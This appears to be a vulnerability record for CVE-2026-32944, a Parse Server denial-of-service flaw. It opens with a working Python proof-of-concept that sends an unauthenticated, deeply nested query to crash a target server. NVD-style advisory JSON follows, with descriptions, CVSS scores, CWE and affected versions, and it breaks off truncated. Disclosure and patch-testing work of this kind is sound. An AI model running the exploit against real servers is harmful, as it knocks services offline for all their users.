CVE-2026-32944

import requests import json # CVE-2026-32944 PoC - Deep Nested Query DoS # Target: Parse Server < 9.6.0-alpha.21 or < 8.6.45 TARGET_URL = "http://target-server:1337/parse" def create_deep_nested_query(depth=100): """Generate deeply nested query condition operators""" query = {"$nor": [{"_id": "test"}]} current = query for i in range(depth): current["$and"] = [{"$or": [{"_id": f"test{i}"}]}] current = current["$and"][0] return query def exploit_cve_2026_32944(): """Exploit deep nested query to cause DoS""" headers = { "X-Parse-Application-Id": "test-app-id", "Content-Type": "application/json" } nested_query = create_deep_nested_query(depth=100) try: response = requests.post( f"{TARGET_URL}/classes/TestClass", headers=headers, json={"where": nested_query}, timeout=30 ) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") print("Target may have crashed due to DoS vulnerability") if __name__ == "__main__": exploit_cve_2026_32944()

{"cve": {"id": "CVE-2026-32944", "sourceIdentifier": "[email protected]", "published": "2026-03-18T22:16:25.970", "lastModified": "2026-03-19T16:46:28.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.21 and 8.6.45, an unauthenticated attacker can crash the Parse Server process by sending a single request with deeply nested query condition operators. This terminates the server and denies service to all connected clients. Starting in version 9.6.0-alpha.21 and 8.6.45, a depth limit for query condition operator nesting has been added via the `requestComplexity.queryDepth` server option. The option is disabled by default to avoid a breaking change. To mitigate, upgrade and set the option to a value appropriate for your app. No known workarounds are available."}, {"lang": "es", "value": "Parse Server es un backend de código abierto que puede ser desplegado en cualquier infraestructura que pueda ejecutar Node.js. Antes de las versiones 9.6.0-alpha.21 y 8.6.45, un atacante no autenticado puede bloquear el proceso de Parse Server enviando una única solicitud con operadores de condición de consulta profundamente anidados. Esto termina el servidor y deniega el servicio a todos los clientes conectados. A partir de las versiones 9.6.0-alpha.21 y 8.6.45, se ha añadido un límite de profundidad para el anidamiento de operadores de condición de consulta a través de la opción de servidor 'requestComplexity.queryDepth'. La opción está deshabilitada por defecto para evitar un cambio disruptivo. Para mitigar, actualice y configure la opción a un valor apropiado para su aplicación. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.45", "matchCriteriaId": "A196C574-23CC-40BA-B5E7-646770D2A7AC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.6.0", "matchCriteriaId": "1BAC01F8-0899-482C-8D91-64671BF2859A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "BBED261F-CA1B-44BC-9C3A-37378590EFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:*", "matchCriteriaId": "418338C9-6AEC-492C-ACA4-9B3C0AAE149C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:*", "matchCriteriaId": "808B6482-BF8E-407D-8462-E757657CC323"}, {"vulnerable": true, ... (truncated)